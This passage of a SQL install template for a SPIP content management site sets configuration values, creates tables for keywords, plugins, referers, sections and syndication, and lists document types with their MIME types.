('nouvelle_install', '1', 'non', '[[regtime]]'),
('objets_versions', 'a:0:{}', 'oui', '[[regtime]]'),
('pcre_u', 'u', 'oui', '[[regtime]]'),
('plugin', '', 'non', '[[regtime]]'),
('plugin_attente', 'a:0:{}', 'oui', '[[regtime]]'),
('plugin_installes', 'a:10:{i:0;s:9:"compagnon";i:1;s:5:"forum";i:2;s:4:"mots";i:3;s:9:"revisions";i:4;s:5:"sites";i:5;s:12:"statistiques";i:6;s:3:"svp";i:7;s:13:"urls_etendues";i:8;s:5:"bigup";i:9;s:6:"medias";}', 'oui', '[[regtime]]'),
('post_dates', 'non', 'oui', '[[regtime]]'),
('prevenir_auteurs', 'non', 'oui', '[[regtime]]'),
('preview', ',0minirezo,1comite,', 'oui', '[[regtime]]'),
('proposer_sites', '0', 'oui', '[[regtime]]'),
('quoi_de_neuf', 'non', 'oui', '[[regtime]]'),
('revisions_base_version', '1.2.0', 'oui', '[[regtime]]'),
('rubriques_descriptif', 'non', 'oui', '[[regtime]]'),
('rubriques_texte', 'oui', 'oui', '[[regtime]]'),
('sites_base_version', '1.2.0', 'oui', '[[regtime]]'),
('slogan_site', '', 'oui', '[[regtime]]'),
('stats_base_version', '1.0.1', 'oui', '[[regtime]]'),
('suivi_edito', 'non', 'oui', '[[regtime]]'),
('svp_base_version', '0.6.2', 'oui', '[[regtime]]'),
('syndication_integrale', 'oui', 'oui', '[[regtime]]'),
('taille_preview', '150', 'non', '[[regtime]]'),
('type_urls', 'page', 'oui', '[[regtime]]'),
('urls_base_version', '2.0.1', 'oui', '[[regtime]]'),
('url_statique_ressources', '', 'oui', '[[regtime]]'),
('version_html_max', 'html4', 'oui', '[[regtime]]'),
('version_installee', '2022022303', 'non', '[[regtime]]');

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_mots`
--

CREATE TABLE `[[dbprefix]]_mots` (
  `id_mot` bigint(21) NOT NULL AUTO_INCREMENT,
  `titre` text NOT NULL,
  `descriptif` text NOT NULL,
  `texte` longtext NOT NULL,
  `id_groupe` bigint(21) NOT NULL DEFAULT '0',
  `type` text NOT NULL,
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id_mot`),
  KEY `id_groupe` (`id_groupe`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_mots_liens`
--

CREATE TABLE `[[dbprefix]]_mots_liens` (
  `id_mot` bigint(21) NOT NULL DEFAULT '0',
  `id_objet` bigint(21) NOT NULL DEFAULT '0',
  `objet` varchar(25) NOT NULL DEFAULT '',
  PRIMARY KEY (`id_mot`,`id_objet`,`objet`),
  KEY `id_mot` (`id_mot`),
  KEY `id_objet` (`id_objet`),
  KEY `objet` (`objet`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_paquets`
--

CREATE TABLE `[[dbprefix]]_paquets` (
  `id_paquet` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_plugin` bigint(21) NOT NULL,
  `prefixe` varchar(48) NOT NULL DEFAULT '',
  `logo` varchar(255) NOT NULL DEFAULT '',
  `version` varchar(24) NOT NULL DEFAULT '',
  `version_base` varchar(24) NOT NULL DEFAULT '',
  `compatibilite_spip` varchar(24) NOT NULL DEFAULT '',
  `branches_spip` varchar(255) NOT NULL DEFAULT '',
  `description` text NOT NULL,
  `auteur` text NOT NULL,
  `credit` text NOT NULL,
  `licence` text NOT NULL,
  `copyright` text NOT NULL,
  `lien_doc` text NOT NULL,
  `lien_demo` text NOT NULL,
  `lien_dev` text NOT NULL,
  `etat` varchar(16) NOT NULL DEFAULT '',
  `etatnum` int(1) NOT NULL DEFAULT '0',
  `dependances` text NOT NULL,
  `procure` text NOT NULL,
  `date_crea` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `date_modif` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `id_depot` bigint(21) NOT NULL DEFAULT '0',
  `nom_archive` varchar(255) NOT NULL DEFAULT '',
  `nbo_archive` int(11) NOT NULL DEFAULT '0',
  `maj_archive` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `src_archive` varchar(255) NOT NULL DEFAULT '',
  `traductions` text NOT NULL,
  `actif` varchar(3) NOT NULL DEFAULT 'non',
  `installe` varchar(3) NOT NULL DEFAULT 'non',
  `recent` int(2) NOT NULL DEFAULT '0',
  `maj_version` varchar(255) NOT NULL DEFAULT '',
  `superieur` varchar(3) NOT NULL DEFAULT 'non',
  `obsolete` varchar(3) NOT NULL DEFAULT 'non',
  `attente` varchar(3) NOT NULL DEFAULT 'non',
  `constante` varchar(30) NOT NULL DEFAULT '',
  `signature` varchar(32) NOT NULL DEFAULT '',
  PRIMARY KEY (`id_paquet`),
  KEY `id_plugin` (`id_plugin`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_plugins`
--

CREATE TABLE `[[dbprefix]]_plugins` (
  `id_plugin` bigint(21) NOT NULL AUTO_INCREMENT,
  `prefixe` varchar(48) NOT NULL DEFAULT '',
  `nom` text NOT NULL,
  `slogan` text NOT NULL,
  `vmax` varchar(24) NOT NULL DEFAULT '',
  `date_crea` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `date_modif` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `compatibilite_spip` varchar(24) NOT NULL DEFAULT '',
  `branches_spip` varchar(255) NOT NULL DEFAULT '',
  PRIMARY KEY (`id_plugin`),
  KEY `prefixe` (`prefixe`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_referers`
--

CREATE TABLE `[[dbprefix]]_referers` (
  `referer_md5` bigint(20) unsigned NOT NULL,
  `date` date NOT NULL,
  `referer` varchar(255) DEFAULT NULL,
  `visites` int(10) unsigned NOT NULL,
  `visites_jour` int(10) unsigned NOT NULL,
  `visites_veille` int(10) unsigned NOT NULL,
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`referer_md5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_referers_articles`
--

CREATE TABLE `[[dbprefix]]_referers_articles` (
  `id_article` int(10) unsigned NOT NULL,
  `referer_md5` bigint(20) unsigned NOT NULL,
  `referer` varchar(255) NOT NULL DEFAULT '',
  `visites` int(10) unsigned NOT NULL,
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`id_article`,`referer_md5`),
  KEY `referer_md5` (`referer_md5`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_resultats`
--

CREATE TABLE `[[dbprefix]]_resultats` (
  `recherche` char(16) NOT NULL DEFAULT '',
  `id` int(10) unsigned NOT NULL,
  `points` int(10) unsigned NOT NULL DEFAULT '0',
  `table_objet` varchar(30) NOT NULL DEFAULT '',
  `serveur` char(16) NOT NULL DEFAULT '',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_rubriques`
--

CREATE TABLE `[[dbprefix]]_rubriques` (
  `id_rubrique` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_parent` bigint(21) NOT NULL DEFAULT '0',
  `titre` text NOT NULL,
  `descriptif` text NOT NULL,
  `texte` longtext NOT NULL,
  `id_secteur` bigint(21) NOT NULL DEFAULT '0',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `statut` varchar(10) NOT NULL DEFAULT '0',
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `lang` varchar(10) NOT NULL DEFAULT '',
  `langue_choisie` varchar(3) DEFAULT 'non',
  `statut_tmp` varchar(10) NOT NULL DEFAULT '0',
  `date_tmp` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `profondeur` smallint(5) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id_rubrique`),
  KEY `lang` (`lang`),
  KEY `id_parent` (`id_parent`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_syndic`
--

CREATE TABLE `[[dbprefix]]_syndic` (
  `id_syndic` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_rubrique` bigint(21) NOT NULL DEFAULT '0',
  `id_secteur` bigint(21) NOT NULL DEFAULT '0',
  `nom_site` text NOT NULL,
  `url_site` text NOT NULL,
  `url_syndic` text NOT NULL,
  `descriptif` text NOT NULL,
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `syndication` varchar(3) NOT NULL DEFAULT '',
  `statut` varchar(10) NOT NULL DEFAULT '0',
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `date_syndic` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `date_index` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `moderation` varchar(3) DEFAULT 'non',
  `miroir` varchar(3) DEFAULT 'non',
  `oubli` varchar(3) DEFAULT 'non',
  `resume` varchar(3) DEFAULT 'oui',
  PRIMARY KEY (`id_syndic`),
  KEY `id_rubrique` (`id_rubrique`),
  KEY `id_secteur` (`id_secteur`),
  KEY `statut` (`statut`,`date_syndic`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_syndic_articles`
--

CREATE TABLE `[[dbprefix]]_syndic_articles` (
  `id_syndic_article` bigint(21) NOT NULL AUTO_INCREMENT,
  `id_syndic` bigint(21) NOT NULL DEFAULT '0',
  `titre` text NOT NULL,
  `url` text NOT NULL,
  `date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `lesauteurs` text NOT NULL,
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  `statut` varchar(10) NOT NULL DEFAULT '0',
  `descriptif` text NOT NULL,
  `lang` varchar(10) NOT NULL DEFAULT '',
  `url_source` tinytext NOT NULL,
  `source` tinytext NOT NULL,
  `tags` text NOT NULL,
  `raw_data` text NOT NULL,
  `raw_format` tinytext NOT NULL,
  `raw_methode` tinytext NOT NULL,
  PRIMARY KEY (`id_syndic_article`),
  KEY `id_syndic` (`id_syndic`),
  KEY `statut` (`statut`),
  KEY `url` (`url`(255))
) ENGINE=InnoDB DEFAULT CHARSET=utf8 AUTO_INCREMENT=1 ;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]_types_documents`
--

CREATE TABLE `[[dbprefix]]_types_documents` (
  `extension` varchar(10) NOT NULL DEFAULT '',
  `titre` text NOT NULL,
  `descriptif` text NOT NULL,
  `mime_type` varchar(100) NOT NULL DEFAULT '',
  `inclus` enum('non','image','embed') NOT NULL DEFAULT 'non',
  `upload` enum('oui','non') NOT NULL DEFAULT 'oui',
  `media_defaut` varchar(10) NOT NULL DEFAULT 'file',
  `maj` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
  PRIMARY KEY (`extension`),
  KEY `inclus` (`inclus`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

--
-- Dumping data for table `[[dbprefix]]_types_documents`
--

INSERT INTO `[[dbprefix]]_types_documents` VALUES
('3ga', '3GP Audio File', '', 'audio/3ga', 'embed', 'oui', 'audio', '[[regtime]]'),
('3gp', '3rd Generation Partnership Project', '', 'video/3gpp', 'embed', 'oui', 'video', '[[regtime]]'),
('7z', '7 Zip', '', 'application/x-7z-compressed', 'non', 'oui', 'file', '[[regtime]]'),
('aac', 'Advanced Audio Coding', '', 'audio/mp4a-latm', 'embed', 'oui', 'audio', '[[regtime]]'),
('abw', 'Abiword', '', 'application/abiword', 'non', 'oui', 'file', '[[regtime]]'),
('ac3', 'AC-3 Compressed Audio', '', 'audio/x-aac', 'embed', 'oui', 'audio', '[[regtime]]'),
('ai', 'Adobe Illustrator', '', 'application/illustrator', 'non', 'oui', 'image', '[[regtime]]'),
('aifc', 'Compressed AIFF Audio', '', 'audio/x-aifc', 'embed', 'oui', 'audio', '[[regtime]]'),
('aiff', 'AIFF', '', 'audio/x-aiff', 'embed', 'oui', 'audio', '[[regtime]]'),
('amr', 'Adaptive Multi-Rate Audio', '', 'audio/amr', 'embed', 'oui', 'audio', '[[regtime]]'),
('anx', 'Annodex', '', 'application/annodex', 'embed', 'oui', 'file', '[[regtime]]'),
('ape', 'Monkey''s Audio File', '', 'audio/x-monkeys-audio', 'embed', 'oui', 'audio', '[[regtime]]'),
('asf', 'Windows Media', '', 'video/x-ms-asf', 'embed', 'oui', 'video', '[[regtime]]'),
('asx', 'Advanced Stream Redirector', '', 'video/x-ms-asf', 'non', 'oui', 'video', '[[regtime]]'),
('avi', 'AVI', '', 'video/x-msvideo', 'embed', 'oui', 'video', '[[regtime]]'),
('axa', 'Annodex Audio', '', 'audio/annodex', 'embed', 'oui', 'audio', '[[regtime]]'),
('axv', 'Annodex Video', '', 'video/annodex', 'embed', 'oui', 'video', '[[regtime]]'),
('bib', 'BibTeX', '', 'application/x-bibtex', 'non', 'oui', 'file', '[[regtime]]'),
('bin', 'Binary Data', '', 'application/octet-stream', 'non', 'oui', 'file', '[[regtime]]'),
('blend', 'Blender', '', 'application/x-blender', 'non', 'oui', 'file', '[[regtime]]'),
('bmp', 'BMP', '', 'image/x-ms-bmp', 'image', 'oui', 'image', '[[regtime]]'),
('bz2', 'BZip', '', 'application/x-bzip2', 'non', 'oui', 'file', '[[regtime]]'),
('c', 'C source', '', 'text/x-csrc', 'non', 'oui', 'file', '[[regtime]]'),
('cls', 'LaTeX Class', '', 'text/x-tex', 'non', 'oui', 'file', '[[regtime]]'),
('csl', 'Citation Style Language', '', 'application/xml', 'non', 'oui', 'file', '[[regtime]]'),
('css', 'Cascading Style Sheet', '', 'text/css', 'non', 'oui', 'file', '[[regtime]]'),
('csv', 'Comma Separated Values', '', 'text/csv', 'non', 'oui', 'file', '[[regtime]]'),
('deb', 'Debian', '', 'application/x-debian-package', 'non', 'oui', 'file', '[[regtime]]'),
('djvu', 'DjVu', '', 'image/vnd.djvu', 'non', 'oui', 'image', '[[regtime]]'),
('doc', 'Word', '', 'application/msword', 'non', 'oui', 'file', '[[regtime]]'),
('docm', 'Word', '', 'application/vnd.ms-word.document.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('docx', 'Word', '', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'non', 'oui', 'file', '[[regtime]]'),
('dot', 'Word Template', '', 'application/msword', 'non', 'oui', 'file', '[[regtime]]'),
('dotm', 'Word template', '', 'application/vnd.ms-word.template.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('dotx', 'Word template', '', 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'non', 'oui', 'file', '[[regtime]]'),
('dv', 'Digital Video', '', 'video/x-dv', 'embed', 'oui', 'video', '[[regtime]]'),
('dvi', 'LaTeX DVI', '', 'application/x-dvi', 'non', 'oui', 'file', '[[regtime]]'),
('emf', 'Enhanced Metafile', '', 'image/x-emf', 'non', 'oui', 'image', '[[regtime]]'),
('enl', 'EndNote Library', '', 'application/octet-stream', 'non', 'oui', 'file', '[[regtime]]'),
('ens', 'EndNote Style', '', 'application/octet-stream', 'non', 'oui', 'file', '[[regtime]]'),
('eps', 'PostScript', '', 'application/postscript', 'non', 'oui', 'file', '[[regtime]]'),
('epub', 'EPUB', '', 'application/epub+zip', 'non', 'oui', 'file', '[[regtime]]'),
('f4a', 'Audio for Adobe Flash Player', '', 'audio/mp4', 'embed', 'oui', 'audio', '[[regtime]]'),
('f4b', 'Audio Book for Adobe Flash Player', '', 'audio/mp4', 'embed', 'oui', 'audio', '[[regtime]]'),
('f4p', 'Protected Video for Adobe Flash Player', '', 'video/mp4', 'embed', 'oui', 'video', '[[regtime]]'),
('f4v', 'Video for Adobe Flash Player', '', 'video/mp4', 'embed', 'oui', 'video', '[[regtime]]'),
('flac', 'Free Lossless Audio Codec', '', 'audio/x-flac', 'embed', 'oui', 'audio', '[[regtime]]'),
('flv', 'Flash Video', '', 'video/x-flv', 'embed', 'oui', 'video', '[[regtime]]'),
('geojson', 'GeoJSON', '', 'application/json', 'non', 'oui', 'file', '[[regtime]]'),
('gif', 'GIF', '', 'image/gif', 'image', 'oui', 'image', '[[regtime]]'),
('gpx', 'GPS eXchange Format', '', 'application/gpx+xml', 'non', 'oui', 'file', '[[regtime]]'),
('gz', 'GZ', '', 'application/x-gzip', 'non', 'oui', 'file', '[[regtime]]'),
('h', 'C header', '', 'text/x-chdr', 'non', 'oui', 'file', '[[regtime]]'),
('html', 'HTML', '', 'text/html', 'non', 'oui', 'file', '[[regtime]]'),
('ics', 'iCalendar', '', 'text/calendar', 'non', 'oui', 'file', '[[regtime]]'),
('jar', 'Java Archive', '', 'application/java-archive', 'non', 'oui', 'file', '[[regtime]]'),
('jpg', 'JPEG', '', 'image/jpeg', 'image', 'oui', 'image', '[[regtime]]'),
('json', 'JSON', '', 'application/json', 'non', 'oui', 'file', '[[regtime]]'),
('kml', 'Keyhole Markup Language', '', 'application/vnd.google-earth.kml+xml', 'non', 'oui', 'file', '[[regtime]]'),
('kmz', 'Google Earth Placemark File', '', 'application/vnd.google-earth.kmz', 'non', 'oui', 'file', '[[regtime]]'),
('lyx', 'Lyx file', '', 'application/x-lyx', 'non', 'oui', 'file', '[[regtime]]'),
('m2p', 'MPEG-PS', '', 'video/MP2P', 'embed', 'oui', 'video', '[[regtime]]'),
('m2ts', 'BDAV MPEG-2 Transport Stream', '', 'video/MP2T', 'embed', 'oui', 'video', '[[regtime]]'),
('m3u', 'M3U Playlist', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('m3u8', 'M3U8 Playlist', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('m4a', 'MPEG4 Audio', '', 'audio/mp4a-latm', 'embed', 'oui', 'audio', '[[regtime]]'),
('m4b', 'MPEG4 Audio', '', 'audio/mp4a-latm', 'embed', 'oui', 'audio', '[[regtime]]'),
('m4p', 'MPEG4 Audio', '', 'audio/mp4a-latm', 'embed', 'oui', 'audio', '[[regtime]]'),
('m4r', 'iPhone Ringtone', '', 'audio/aac', 'embed', 'oui', 'audio', '[[regtime]]'),
('m4u', 'MPEG4 Playlist', '', 'video/vnd.mpegurl', 'non', 'oui', 'video', '[[regtime]]'),
('m4v', 'MPEG4 Video', '', 'video/x-m4v', 'embed', 'oui', 'video', '[[regtime]]'),
('mathml', 'MathML', '', 'application/mathml+xml', 'non', 'oui', 'file', '[[regtime]]'),
('mbtiles', 'MBTiles', '', 'application/x-sqlite3', 'non', 'oui', 'file', '[[regtime]]'),
('md', 'Markdown Document', '', 'text/x-markdown', 'non', 'oui', 'file', '[[regtime]]'),
('mid', 'Midi', '', 'audio/midi', 'embed', 'oui', 'audio', '[[regtime]]'),
('mka', 'Matroska Audio', '', 'audio/mka', 'embed', 'oui', 'audio', '[[regtime]]'),
('mkv', 'Matroska Video', '', 'video/mkv', 'embed', 'oui', 'video', '[[regtime]]'),
('mng', 'MNG', '', 'video/x-mng', 'embed', 'oui', 'video', '[[regtime]]'),
('mov', 'QuickTime', '', 'video/quicktime', 'embed', 'oui', 'video', '[[regtime]]'),
('mp3', 'MP3', '', 'audio/mpeg', 'embed', 'oui', 'audio', '[[regtime]]'),
('mp4', 'MPEG4', '', 'application/mp4', 'embed', 'oui', 'video', '[[regtime]]'),
('mpc', 'Musepack', '', 'audio/x-musepack', 'embed', 'oui', 'audio', '[[regtime]]'),
('mpg', 'MPEG', '', 'video/mpeg', 'embed', 'oui', 'video', '[[regtime]]'),
('mts', 'AVCHD MPEG-2 transport stream', '', 'video/MP2T', 'embed', 'oui', 'video', '[[regtime]]'),
('odb', 'OpenDocument Database', '', 'application/vnd.oasis.opendocument.database', 'non', 'oui', 'file', '[[regtime]]'),
('odc', 'OpenDocument Chart', '', 'application/vnd.oasis.opendocument.chart', 'non', 'oui', 'file', '[[regtime]]'),
('odf', 'OpenDocument Formula', '', 'application/vnd.oasis.opendocument.formula', 'non', 'oui', 'file', '[[regtime]]'),
('odg', 'OpenDocument Graphics', '', 'application/vnd.oasis.opendocument.graphics', 'non', 'oui', 'file', '[[regtime]]'),
('odi', 'OpenDocument Image', '', 'application/vnd.oasis.opendocument.image', 'non', 'oui', 'file', '[[regtime]]'),
('odm', 'OpenDocument Text-master', '', 'application/vnd.oasis.opendocument.text-master', 'non', 'oui', 'file', '[[regtime]]'),
('odp', 'OpenDocument Presentation', '', 'application/vnd.oasis.opendocument.presentation', 'non', 'oui', 'file', '[[regtime]]'),
('ods', 'OpenDocument Spreadsheet', '', 'application/vnd.oasis.opendocument.spreadsheet', 'non', 'oui', 'file', '[[regtime]]'),
('odt', 'OpenDocument Text', '', 'application/vnd.oasis.opendocument.text', 'non', 'oui', 'file', '[[regtime]]'),
('oga', 'Ogg Audio', '', 'audio/ogg', 'embed', 'oui', 'audio', '[[regtime]]'),
('ogg', 'Ogg Vorbis', '', 'audio/ogg', 'embed', 'oui', 'audio', '[[regtime]]'),
('ogv', 'Ogg Video', '', 'video/ogg', 'embed', 'oui', 'video', '[[regtime]]'),
('ogx', 'Ogg Multiplex', '', 'application/ogg', 'embed', 'oui', 'video', '[[regtime]]'),
('otg', 'OpenDocument Graphics-template', '', 'application/vnd.oasis.opendocument.graphics-template', 'non', 'oui', 'file', '[[regtime]]'),
('otp', 'OpenDocument Presentation-template', '', 'application/vnd.oasis.opendocument.presentation-template', 'non', 'oui', 'file', '[[regtime]]'),
('ots', 'OpenDocument Spreadsheet-template', '', 'application/vnd.oasis.opendocument.spreadsheet-template', 'non', 'oui', 'file', '[[regtime]]'),
('ott', 'OpenDocument Text-template', '', 'application/vnd.oasis.opendocument.text-template', 'non', 'oui', 'file', '[[regtime]]'),
('pas', 'Pascal', '', 'text/x-pascal', 'non', 'oui', 'file', '[[regtime]]'),
('pdf', 'PDF', '', 'application/pdf', 'non', 'oui', 'file', '[[regtime]]'),
('pgn', 'Portable Game Notation', '', 'application/x-chess-pgn', 'non', 'oui', 'file', '[[regtime]]'),
('pls', 'Playlist', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('png', 'PNG', '', 'image/png', 'image', 'oui', 'image', '[[regtime]]'),
('pot', 'PowerPoint Template', '', 'application/vnd.ms-powerpoint', 'non', 'oui', 'file', '[[regtime]]'),
('potm', 'Powerpoint template', '', 'application/vnd.ms-powerpoint.template.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('potx', 'Powerpoint template', '', 'application/vnd.openxmlformats-officedocument.presentationml.template', 'non', 'oui', 'file', '[[regtime]]'),
('ppam', 'Powerpoint addin', '', 'application/vnd.ms-powerpoint.addin.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('ppsm', 'Powerpoint slideshow', '', 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('ppsx', 'Powerpoint slideshow', '', 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'non', 'oui', 'file', '[[regtime]]'),
('ppt', 'PowerPoint', '', 'application/vnd.ms-powerpoint', 'non', 'oui', 'file', '[[regtime]]'),
('pptm', 'Powerpoint', '', 'application/vnd.ms-powerpoint.presentation.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('pptx', 'Powerpoint', '', 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'non', 'oui', 'file', '[[regtime]]'),
('ps', 'PostScript', '', 'application/postscript', 'non', 'oui', 'file', '[[regtime]]'),
('psd', 'Photoshop', '', 'image/x-photoshop', 'non', 'oui', 'image', '[[regtime]]'),
('qt', 'QuickTime', '', 'video/quicktime', 'embed', 'oui', 'video', '[[regtime]]'),
('ra', 'RealAudio', '', 'audio/x-pn-realaudio', 'embed', 'oui', 'audio', '[[regtime]]'),
('ram', 'RealAudio', '', 'audio/x-pn-realaudio', 'embed', 'oui', 'audio', '[[regtime]]'),
('rar', 'WinRAR', '', 'application/x-rar-compressed', 'non', 'oui', 'file', '[[regtime]]'),
('rdf', 'Resource Description Framework', '', 'application/rdf+xml', 'non', 'oui', 'file', '[[regtime]]'),
('ris', 'RIS', '', 'application/x-research-info-systems', 'non', 'oui', 'file', '[[regtime]]'),
('rm', 'RealAudio', '', 'audio/x-pn-realaudio', 'embed', 'oui', 'audio', '[[regtime]]'),
('rpm', 'RedHat/Mandrake/SuSE', '', 'application/x-redhat-package-manager', 'non', 'oui', 'file', '[[regtime]]'),
('rtf', 'RTF', '', 'application/rtf', 'non', 'oui', 'file', '[[regtime]]'),
('sdc', 'StarOffice Spreadsheet', '', 'application/vnd.stardivision.calc', 'non', 'oui', 'file', '[[regtime]]'),
('sdd', 'StarOffice Presentation', '', 'application/vnd.stardivision.impress', 'non', 'oui', 'file', '[[regtime]]'),
('sdw', 'StarOffice Writer document', '', 'application/vnd.stardivision.writer', 'non', 'oui', 'file', '[[regtime]]'),
('sit', 'Stuffit', '', 'application/x-stuffit', 'non', 'oui', 'file', '[[regtime]]'),
('sla', 'Scribus', '', 'application/x-scribus', 'non', 'oui', 'file', '[[regtime]]'),
('spx', 'Ogg Speex', '', 'audio/ogg', 'embed', 'oui', 'audio', '[[regtime]]'),
('srt', 'SubRip Subtitle', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('ssa', 'SubStation Alpha Subtitle', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('sty', 'LaTeX Style Sheet', '', 'text/x-tex', 'non', 'oui', 'file', '[[regtime]]'),
('svg', 'SVG', '', 'image/svg+xml', 'image', 'oui', 'image', '[[regtime]]'),
('svgz', 'Compressed Scalable Vector Graphic', '', 'image/svg+xml', 'embed', 'oui', 'image', '[[regtime]]'),
('swf', 'Flash', '', 'application/x-shockwave-flash', 'embed', 'oui', 'video', '[[regtime]]'),
('sxc', 'OpenOffice.org Calc', '', 'application/vnd.sun.xml.calc', 'non', 'oui', 'file', '[[regtime]]'),
('sxi', 'OpenOffice.org Impress', '', 'application/vnd.sun.xml.impress', 'non', 'oui', 'file', '[[regtime]]'),
('sxw', 'OpenOffice.org', '', 'application/vnd.sun.xml.writer', 'non', 'oui', 'file', '[[regtime]]'),
('tar', 'Tar', '', 'application/x-tar', 'non', 'oui', 'file', '[[regtime]]'),
('tex', 'LaTeX', '', 'text/x-tex', 'non', 'oui', 'file', '[[regtime]]'),
('tgz', 'TGZ', '', 'application/x-gtar', 'non', 'oui', 'file', '[[regtime]]'),
('tif', 'TIFF', '', 'image/tiff', 'embed', 'oui', 'image', '[[regtime]]'),
('torrent', 'BitTorrent', '', 'application/x-bittorrent', 'non', 'oui', 'file', '[[regtime]]'),
('ts', 'MPEG transport stream', '', 'video/MP2T', 'embed', 'oui', 'video', '[[regtime]]'),
('ttf', 'TTF Font', '', 'application/x-font-ttf', 'non', 'oui', 'file', '[[regtime]]'),
('txt', 'Texte', '', 'text/plain', 'non', 'oui', 'file', '[[regtime]]'),
('usf', 'Universal Subtitle Format', '', 'application/xml', 'non', 'oui', 'file', '[[regtime]]'),
('vcf', 'vCard', '', 'text/vcard', 'non', 'oui', 'file', '[[regtime]]'),
('vtt', 'WebVTT', '', 'text/vtt', 'non', 'oui', 'file', '[[regtime]]'),
('wav', 'WAV', '', 'audio/x-wav', 'embed', 'oui', 'audio', '[[regtime]]'),
('webm', 'WebM', '', 'video/webm', 'embed', 'oui', 'video', '[[regtime]]'),
('webp', 'WEBP', '', 'image/webp', 'image', 'oui', 'image', '[[regtime]]'),
('wma', 'Windows Media Audio', '', 'audio/x-ms-wma', 'embed', 'oui', 'audio', '[[regtime]]'),
('wmf', 'Windows Metafile', '', 'image/x-emf', 'non', 'oui', 'image', '[[regtime]]'),
('wmv', 'Windows Media Video', '', 'video/x-ms-wmv', 'embed', 'oui', 'video', '[[regtime]]'),
('wpl', 'Windows Media Player Playlist', '', 'application/vnd.ms-wpl', 'non', 'oui', 'file', '[[regtime]]'),
('xcf', 'GIMP multi-layer', '', 'application/x-xcf', 'non', 'oui', 'file', '[[regtime]]'),
('xlam', 'Excel', '', 'application/vnd.ms-excel.addin.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('xls', 'Excel', '', 'application/vnd.ms-excel', 'non', 'oui', 'file', '[[regtime]]'),
('xlsb', 'Excel binary', '', 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('xlsm', 'Excel', '', 'application/vnd.ms-excel.sheet.macroEnabled.12', 'non', 'oui', 'file', '[[regtime]]'),
('xlsx', 'Excel', '', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'non', 'oui', 'file', '[[regtime]]'),
('xlt', 'Excel Template', '', 'application/vnd.ms-excel', 'non', 'oui', 'file', '[[regtime]]'),
